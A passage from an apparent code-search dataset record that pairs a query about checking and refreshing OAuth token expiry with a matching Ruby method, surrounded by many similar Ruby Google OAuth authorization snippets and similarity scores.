URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\\n\"\n puts url\n print \"\\nCode: \"\n code = gets\n puts\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def check_auth_expiration(auth, client_secrets_path, scope)\n return false unless auth.nil? ||\n (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(client_secrets_path)\n flow = Google::APIClient::InstalledAppFlow.new(\n client_id: app_info.client_id,\n client_secret: app_info.client_secret,\n scope: scope)\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{credentials_path}\" unless auth.nil?\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(@credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @scope, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: @oob_uri)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @oob_uri\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\"\n puts url\n puts \"\"\n puts \"paste code here:\"\n code = gets\n\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize(credentials)\n credentials_path = \"#{PATH}#{credentials}-gmail.json\"\n token_path = \"#{PATH}#{credentials}-token.yaml\"\n client_id = Google::Auth::ClientId.from_file credentials_path\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n\tclient_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\tuser_id = 'default'\n\n\tcredentials = authorizer.get_credentials(user_id)\n\treturn credentials unless credentials.nil?\n\n\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\tputs 'Open the following URL in the browser and enter the ' \\\n\t\t \"resulting code after authorization:\\n#{url}\"\n\tcode = gets\n\n\treturn authorizer.get_and_store_credentials_from_code(\n\t\tbase_url: OOB_URI,\n\t\tuser_id: user_id,\n\t\tcode: code,\n\t)\n\nend", "def user_credentials_for(scope)\n FileUtils.mkdir_p(File.dirname(token_store_path))\n\n if ENV['GOOGLE_CLIENT_ID']\n client_id = Google::Auth::ClientId.new(ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'])\n else\n client_id = Google::Auth::ClientId.from_file(client_secrets_path)\n end\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => token_store_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n\n user_id = options[:user] || 'default'\n\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n say \"Open the following URL in your browser and authorize the application.\"\n say url\n code = ask \"Enter the authorization code:\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def authorize\n client_id = create_client_id\n token_store = create_token_store\n\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n Rails.logger.debug do\n 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization'\n end\n Rails.logger.debug url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id:, code:, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize(token_path, scope)\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, scope, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def setup(options={})\n get_application_keys unless has_application_keys?\n\n if options[:client_id]\n Datapimp.config.set \"google_client_id\", options[:client_id]\n end\n\n if options[:client_secret]\n Datapimp.config.set \"google_client_secret\", options[:client_secret]\n end\n\n if has_refresh_token?\n refresh_access_token!\n elsif respond_to?(:ask)\n Launchy.open(browser_authorization_url)\n say(\"\\n1. Open this page:\\n%s\\n\\n\" % auth_client.authorization_uri)\n consume_auth_client_code ask(\"2. Enter the authorization code shown in the page: \", String)\n end\n end", "def authorize\n\t\tclient_id = Google::Auth::ClientId.new(@config[\"AuthKey\"], @config[\"AuthSecret\"])\n\t\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\t\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\t\tuser_id = \"default\"\n\t\tLOGGER.debug \"[GmailDriver#authorize] Authorizing...\"\n\t\tcredentials = authorizer.get_credentials(user_id)\n\t\tif credentials.nil?\n\t\t\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\t\t\tLOGGER.warn \"Open the following URL in the browser and enter the \" \\\n\t\t\t\t\t \"resulting code after authorization:\\n\" + url\n\t\t\tcode = gets\n\t\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\t\tuser_id: user_id, code: code, base_url: OOB_URI\n\t\t\t)\n\t\tend\n\t\tcredentials\n\tend", "def authorize\n return credentials if credentials\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n authorizer.get_and_store_credentials_from_code(\n user_id: user_id,\n code: code,\n base_url: OOB_URI\n )\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(ENV['CREDENTIALS_PATH'])\n token_store = Google::Auth::Stores::FileTokenStore.new(file: ENV['TOKEN_PATH'])\n authorizer = Google::Auth::UserAuthorizer.new(client_id, ENV['SCOPE'], token_store)\n user_id = 'default'\n authorizer.get_credentials(user_id)\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(\"credentials.json\")\n token_store = Google::Auth::Stores::FileTokenStore.new(file: \"token.yaml\")\n authorizer = Google::Auth::UserAuthorizer.new(client_id, Google::Apis::GmailV1::AUTH_GMAIL_READONLY, token_store)\n user_id = \"default\"\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: \"urn:ietf:wg:oauth:2.0:oob\")\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: \"urn:ietf:wg:oauth:2.0:oob\"\n )\n end\n credentials\nend", "def get_google_access_token(oauth)\n client = Google::APIClient.new(application_name: oauth[:app_name], application_version: oauth[:app_version])\n auth = client.authorization\n auth.client_id = oauth[:client_id]\n auth.client_secret = oauth[:client_secret]\n auth.scope = 'https://www.googleapis.com/auth/drive https://spreadsheets.google.com/feeds/'\n auth.redirect_uri = 'urn:ietf:wg:oauth:2.0:oob'\n if File.exist? TOKEN_CACHE\n auth.refresh_token = YAML.load(File.read(TOKEN_CACHE))\n else\n print(\"1. Open this page:\\n%s\\n\\n\" % auth.authorization_uri)\n print('2. Enter the authorization code shown: ')\n open_browser(auth.authorization_uri)\n auth.code = $stdin.gets.chomp\n end\n auth.fetch_access_token!\n File.open(TOKEN_CACHE, 'w') {|f| f.write(YAML.dump(auth.refresh_token)) }\n auth.access_token\nend", "def authorize!(current_user)\n @authorized = false\n oauth_drive_token = OauthDriveToken.get_provider_for(current_user, APP_CONFIG['oauth']['google']['provider_number'])\n if oauth_drive_token.present?\n # Set details\n @client.authorization.access_token = oauth_drive_token.access_token\n @client.authorization.refresh_token = oauth_drive_token.refresh_token\n @client.authorization.client_id = oauth_drive_token.client_number\n\n if oauth_drive_token.expires_at < Time.now\n # Present but expired, attempt to refresh\n @authorized = true if self.refresh_token(oauth_drive_token)\n elsif self.current_token_still_valid?\n @authorized = true\n else\n # Not valid so destroy it and prompts for re-auth\n oauth_drive_token.destroy\n end\n end\n end", "def authorize\n credentialsFile = FILE_POSTFIX\n\n if File.exist? credentialsFile\n File.open(credentialsFile, 'r') do |file|\n credentials = JSON.load(file)\n @authorization.access_token = credentials['access_token']\n @authorization.client_id = credentials['client_id']\n @authorization.client_secret = credentials['client_secret']\n @authorization.refresh_token = credentials['refresh_token']\n @authorization.expires_in = (Time.parse(credentials['token_expiry']) - Time.now).ceil\n if @authorization.expired?\n @authorization.fetch_access_token!\n save(credentialsFile)\n end\n end\n else\n auth = @authorization\n url = @authorization.authorization_uri().to_s\n server = Thin::Server.new('0.0.0.0', 8081) do\n run lambda { |env|\n # Exchange the auth code & quit\n req = Rack::Request.new(env)\n auth.code = req['code']\n auth.fetch_access_token!\n server.stop()\n [200, {'Content-Type' => 'text/html'}, RESPONSE_HTML]\n }\n end\n\n Launchy.open(url)\n server.start()\n\n save(credentialsFile)\n end\n\n return @authorization\n end", "def check_credentials\n raise \"Please set load_configuration with #{RightSignature2013::Connection.api_token_keys.join(',')} or #{RightSignature2013::Connection.oauth_keys.join(',')}\" unless has_api_token? || has_oauth_credentials?\n end", "def ensure_auth # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n if session[:prospect_params]\n # we have an application going so we've probably just refreshed the\n # screen\n redirect_to action: 'new', controller: 'prospects'\n elsif session[:cas].nil? || session[:cas][:user].nil?\n render status: :unauthorized, plain: 'Redirecting to SSO...'\n else\n user = User.find_by cas_directory_id: session[:cas][:user]\n if user.nil?\n render status: :forbidden, plain: 'Unrecognized user'\n else\n update_current_user(user)\n end\n end\n nil\n end", "def google_oauth\n return nil if @oauth_attempted\n @oauth_attempted = true\n\n path = \"#{ENV['HOME']}/.config/#{::Google::Auth::CredentialsLoader::WELL_KNOWN_PATH}\"\n FileUtils.mkdir_p(File.dirname(path))\n storage = GoogleStorage.new(::Google::APIClient::FileStore.new(path))\n\n options = {\n client_id: @google_id.id,\n client_secret: @google_id.secret,\n scope: %w[openid email]\n }\n uri_options = {include_granted_scopes: true}\n uri_options[:hd] = @domain if @domain\n uri_options[:access_type] = 'online' if @online\n\n credentials = ::Google::Auth::UserRefreshCredentials.new(options)\n credentials.code = get_oauth_code(credentials, uri_options)\n credentials.fetch_access_token!\n credentials.tap(&storage.method(:write_credentials))\n end", "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "def ask_credentials\n self.email = cli.prompt \"Your Pivotal Tracker email: \"\n self.password = cli.prompt_secret \"Your Pivotal Tracker password (never stored): \"\n end", "def setup_credentials\n unless yes?('Would you like to configure and store your credentials?')\n $stderr.puts \"Unable to proceed without credentials\"\n exit 1\n end\n\n begin\n choice = choose do |menu|\n menu.prompt = 'Which type of credentials would you like to set up? (token is highly recommended) '\n menu.choices(:password, :token, :none)\n end.to_sym\n end until [:password, :token, :none].include? choice\n\n if choice == :password\n setup_password_credentials\n elsif choice == :token\n setup_token_credentials\n else\n return false\n end\n rescue StandardError => e\n options.debug ? warn(e) : raise(e)\n false\n end", "def grant_authorization\n create_verification_code if authorized?\n redirect_back\n end", "def authorize\n @credentials = authorizer.get_credentials(user_id)\n if @credentials.nil? || @credentials.expired?\n raise CalendarBot::AuthorizationError\n end\n\n @credentials\n end", "def assert_required_keys\n keys_list = [:client_id, :client_secret, :access_token, :refresh_token]\n keys_list.each do |key|\n @google_drive_credentials.fetch(key)\n end\n end", "def auth_required\n unless Facts.config.user\n Facts.ui.puts \"Authorization required for this task, use `facts config`\"\n exit(0)\n end\n end", "def login\n system('clear')\n puts 'Authorizing...'.green\n\n @session ||= GoogleDrive.saved_session('config.json')\n @ws ||= @session.spreadsheet_by_key(ENV['SPREADSHEET_KEY']).worksheets[0]\nend", "def valid_for_http_auth?; end", "def check_token\n if File.exist?(@token_file)\n refresh_token = open(@token_file) { |f| f.read }.chomp\n g_cal.login_with_refresh_token(refresh_token)\n else\n # A user needs to approve access in order to work with their calendars.\n puts \"Visit the following web page in your browser and approve access.\"\n puts g_cal.authorize_url\n puts \"\\nCopy the code that Google returned and paste it here:\"\n\n # Pass the ONE TIME USE access code here to login and get a refresh token that you can use for access from now on.\n refresh_token = g_cal.login_with_auth_code($stdin.gets.chomp)\n\n # Save token to TOKEN_FILE\n File.open(@token_file, 'w') { |f| f.write(refresh_token) }\n puts \"Token saved to #{@token_file}\"\n end\n end", "def process_fallback_auth(options)\n Fog::Logger.warning(\n \"Didn't detect any client auth settings, \" \\\n \"trying to fall back to application default credentials...\"\n )\n begin\n return process_application_default_auth(options)\n rescue\n raise Fog::Errors::Error.new(\n \"Fallback auth failed, could not configure authentication for Fog client.\\n\" \\\n \"Check your auth options, must be one of:\\n\" \\\n \"- :google_json_key_location,\\n\" \\\n \"- :google_json_key_string,\\n\" \\\n \"- :google_auth,\\n\" \\\n \"- :google_application_default,\\n\" \\\n \"If credentials are valid - please, file a bug to fog-google.\" \\\n )\n end\n end", "def grantAccess()\n\t\t\tif File.zero?('lib/data.txt') #if files doesn't exist it then gets the access_tokens\n\t\t\t\t@request_token = @consumer.get_request_token\n\t\t\t\tLaunchy.open(\"#{@request_token.authorize_url}\")\n\t\t\t\tprint \"Enter pin that the page gave you:\" \n\t\t\t\t@pin = STDIN.readline.chomp\n\t\t\t\t@access_token = @request_token.get_access_token(:oauth_verifier => @pin)\n\t\t\t\tputs @access_token.token\n\t\t\t\tFile.open('lib/data.txt','w') do |f|\n\t\t\t\t\tf.puts @access_token.token\n\t\t\t\t\tf.puts @access_token.secret\n\t\t\t\tend\n\t\t\telse #if they exist it simple reads them into token_hash\n\t\t\t\tFile.open('lib/data.txt','r') do |f|\n\t\t\t\t\t@token_hash = { :oauth_token => f.readline.chomp,\n\t\t\t\t\t\t\t\t\t\t\t :oauth_token_secret => f.readline.chomp\n\t\t\t\t\t\t\t\t\t\t \t\t}\n\t\t\t\t\tend\n\t\t\tend\n\t\tend" ]
[ "0.7439608", "0.7410622", "0.727247", "0.7268212", "0.72368586", "0.6904663", "0.67897385", "0.66695076", "0.66040087", "0.6602347", "0.6524152", "0.64945465", "0.64744717", "0.6470572", "0.64681566", "0.6466714", "0.64655787", "0.6465307", "0.6453524", "0.64507556", "0.6441109", "0.6441109", "0.6441109", "0.6441109", "0.6441109", "0.6441109", "0.6435055", "0.6409004", "0.63948035", "0.6389785", "0.63828", "0.6375329", "0.6350086", "0.6350086", "0.6350086", "0.6350086", "0.63482946", "0.6346557", "0.6346557", "0.6345241", "0.6345241", "0.6340802", "0.63406193", "0.6337495", "0.6336849", "0.6330362", "0.6328575", "0.63274205", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.63237077", "0.6320607", "0.63203686", "0.63133", "0.6310829", "0.63086367", "0.63054234", "0.62954354", "0.62932223", "0.6290722", "0.6285187", "0.62682915", "0.6205577", "0.61274034", "0.61063135", "0.60644364", "0.5984319", "0.59548867", "0.5933611", "0.582082", "0.58196205", "0.5769135", "0.57345366", "0.57340735", "0.56912625", "0.5691212", "0.56349456", "0.5585575", "0.5532037", "0.5523333", "0.55219245", "0.5482593", "0.54822516", "0.5475197", "0.54608625", "0.5459621", "0.54355335", "0.53998536", "0.5385552", "0.5360956", "0.5319445", "0.5319101" ]
0.54558915
94
Checks authorization token expiration date and refreshes it if not there
def check_auth_expiration(auth, client_secrets_path, scope) return false unless auth.nil? || (auth.expired? && auth.refresh_token.nil?) app_info = Google::APIClient::ClientSecrets.load(client_secrets_path) flow = Google::APIClient::InstalledAppFlow.new( client_id: app_info.client_id, client_secret: app_info.client_secret, scope: scope) auth = flow.authorize(storage) puts "Credentials saved to #{credentials_path}" unless auth.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh_token_if_needed\n token_timestamp = decoded_jwt['exp']\n current_timestamp = DateTime.now.to_i\n return unless token_timestamp - current_timestamp <= 0\n\n refresh_token\n end", "def refreshToken\n # is there a token? (and is it's timestamp not older than 24h?)\n if @token.nil? or @tokenTimeStamp < Time.now - 86400\n @token = getToken(@email,@password)\n @tokenTimeStamp = Time.now\n end\n end", "def isTokenExpired\n if Time.now.to_i - @access_token_timestamp >= access_token_expires\n puts \"had to reauthenticate\"\n self.authenticate\n end\n end", "def authorize_time_check(user)\n\n if (user.access_token_expiry < Time.now)\n refresh_authorisation(user)\n end\n end", "def set_auth_token_expiry\n self.auth_token_expires_at = (Time.zone.now + 30.days)\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def access_token_expired?\n Time.zone.now >= self.expires_at\n end", "def valid_access_token\n\t\t\t\t# The token we have stored is expired - fetch a new one using the refresh token\n\t\t\t\tself.refresh_access_token if self.access_token_expired?\n\n\t\t\t\tself.access_token\n\t\t\tend", "def refresh_access_token()\n\n\t\tif(Time.now - @start_time) >=3000\n\t\t\tputs \"Access Token Expired .......Creating a new one\"\n\t\t\t@access_token = @new_token.get_access_token\n\t\t\t@start_time = Time.now\n\t\tend\n\tend", "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, Time.now + Devise.timeout_in)\n end", "def refresh_time\n self.update_column( :expires, Time.zone.now + TOKEN_LIFE )\n end", "def refresh_access_token\n self.expires_at = Time.now + 3600 \n save\n end", "def valid_access_token\n self.access_token_expired? ? self.refresh_access_token! : self.access_token\n end", "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, 2.days.from_now)\n end", "def valid_access_token\n self.access_token_expired? ? self.refresh_access_token : self.access_token\n end", "def token_expired?\n self.expires < Time.zone.now.to_i\n end", "def token_expired\n @token.nil? || Time.now >= @token_expires_on + expiration_threshold\n end", "def access_token_expired?\n\t\taccess_token_expires_at && access_token_expires_at < Time.zone.now\n\tend", "def token_expired?\n return true\n expires_at < Time.now if expires_at?\n end", "def check_validity\n if @expires_at == nil\n raise OAuthSessionError, \"Expiration not properly initialized.\"\n end\n if @expires_at < Time.new\n if not do_refresh\n raise OAuthSessionError, \"Token could not be refreshed.\"\n end\n end\n return true\n end", "def refresh_access_token\n new_token = FireCloudClient.generate_access_token(self.service_account_credentials)\n new_expiry = Time.zone.now + new_token['expires_in']\n self.access_token = new_token\n self.expires_at = new_expiry\n new_token\n end", "def fresh_token\n refresh! if expired?\n access_token\n end", "def access_token\n refresh! if access_token_expires_at&.<= Time.now + 60 # time drift margin\n @access_token\n end", "def validate(expiration_buffer_sec = 0)\n return true if (Time.now + expiration_buffer_sec).to_i < expires_on\n\n unless refresh_token\n logger.verbose('Cached token is almost expired but no refresh token ' \\\n 'is available.')\n return false\n end\n logger.verbose('Cached token is almost expired, attempting to refresh ' \\\n ' with refresh token.')\n refresh_response = refresh\n if refresh_response.instance_of? SuccessResponse\n logger.verbose('Successfully refreshed token in cache.')\n @token_response = refresh_response\n true\n else\n logger.warn('Failed to refresh token in cache with refresh token.')\n false\n end\n end", "def token\n refresh_token! if token_expired?\n super\n end", "def fresh_token\n refresh! if token_expired?\n access_token\n end", "def is_token_expired?\n (Time.now - self.updated_at) > 3300\n end", "def validate_token_hash\n if @token_request_at and\n @token_hash and @token_hash['expires_in'] and\n (Time.now - @token_request_at) > @token_hash['expires_in'].to_i\n @token_hash = nil\n elsif @token_request_at and\n @token_hash and @token_hash['expires_in']\n @token_hash['access_token']\n else\n puts \"start get token ...\"\n end\n end", "def refresh_token\n authorize current_user\n original = current_user.api_token\n current_user.generate_token!\n @success = current_user.api_token != original\n end", "def token_expired?\n @token.nil? || Time.now >= @token_expires_on + expiration_threshold\n end", "def access_token_expired?\n\t\t\t\treturn false if self.expires_at.nil?\n\n\t\t\t\t# Expiration date less than now == expired\n\t\t\t\tself.expires_at < Time.now\n\t\t\tend", "def maybe_reauthenticate\n if @keystone_token_expiration < Time.now + 2*@timeout\n @logger.info \"Permanent token will expire soon. Re-authenticating...\"\n authenticate\n end\n end", "def refresh_expiry\n self.expires_at = Time.now + ttl\n end", "def test_feature_refresh_token_for_expired_oauth_token\n # Setup\n opts = {\n 'email' => @user.email,\n 'expires_in' => 3\n }\n\n @user = setup_user(opts)\n\n sleep(opts['expires_in'])\n\n # Step 1\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :client_error)\n\n # Step 2\n @user.acquire_refreshed_oauth_token\n\n # Step 3\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :success)\n end", "def set_token_expires_at\n self.token_expires_at = 3600.seconds.from_now\n end", "def refreshed!(body)\n @access_token = body[:access_token]\n @expires_at = Time.now + body[:expires_in]\n end", "def needs_refresh?\n @access_token.nil? ||\n (Time.now + TOKEN_BUFFER) > @expires_at\n end", "def refresh_auth_token\n generate_token(:auth_token)\n save!\n end", "def validate_token(provided_token)\n clear_expired_tokens\n token_object = access_tokens.find_by_token(provided_token)\n return false if !token_object\n token_object.update_attribute(:token_expire, Time.now + DEFAULT_TOKEN_EXPIRE)\n true\n end", "def verify_expiration; end", "def verify_expiration; end", "def refresh_token\n return if token\n refresh_token!\n end", "def create_or_renew_token()\n calculate_expiry_time()\n end", "def expired?(token)\n expires_on = token[/&?ExpiresOn=([^&]+)/, 1]\n expires_on.to_i < Time.now.to_i\n end", "def update_token\n client.authorization.update_token!(oauth_data)\n if client.authorization.refresh_token && client.authorization.expired?\n client.authorization.fetch_access_token!\n end\n end", "def setup_expiration\n self.expires_at = Time.now.utc + ::Simple::OAuth2.config.authorization_code_lifetime if expires_at.nil?\n end", "def refresh_token?\n if (@token_timer + 6000) < Time.now\n self.get_token\n true\n else\n false\n end\n end", "def fresh_hubstaff_access_token\n raise 'Organiaztion not connected to HB. Please edit hubstaff start auth code.' if hubstaff_token_will_end.blank?\n\n # still fresh\n return hubstaff_access_token if hubstaff_token_will_end - 2.hours > DateTime.now\n\n res = HubstaffClient.new.refresh_access_token_request hubstaff_refresh_token\n\n raise StandardError, res.parsed_response['error'] if res.code != 200\n\n self.hubstaff_access_token = res.parsed_response['access_token']\n self.hubstaff_refresh_token = res.parsed_response['refresh_token']\n self.hubstaff_token_get_at = DateTime.now\n self.hubstaff_token_will_end = DateTime.now + (res.parsed_response['expires_in'].to_i / 60.0 / 60.0).round.hours\n\n self.save\n\n hubstaff_access_token\n end", "def refresh_expiration\n self.needs_new_cookie = true\n end", "def refresh_expiration\n self.needs_new_cookie = true\n end", "def token_expired?\n expiry = Time.at(self.gplus_token_expires_at.to_i) \n if expiry < Time.now \n data = {\n client_id: '476602585408-3fiklaclekbinfmbd2lsdjcur1u21ril.apps.googleusercontent.com',\n client_secret: 'RX-7Mq_SXT1DJSJsYJtLj6a4',\n refresh_token: self.gplus_refresh_token,\n grant_type: \"refresh_token\"\n 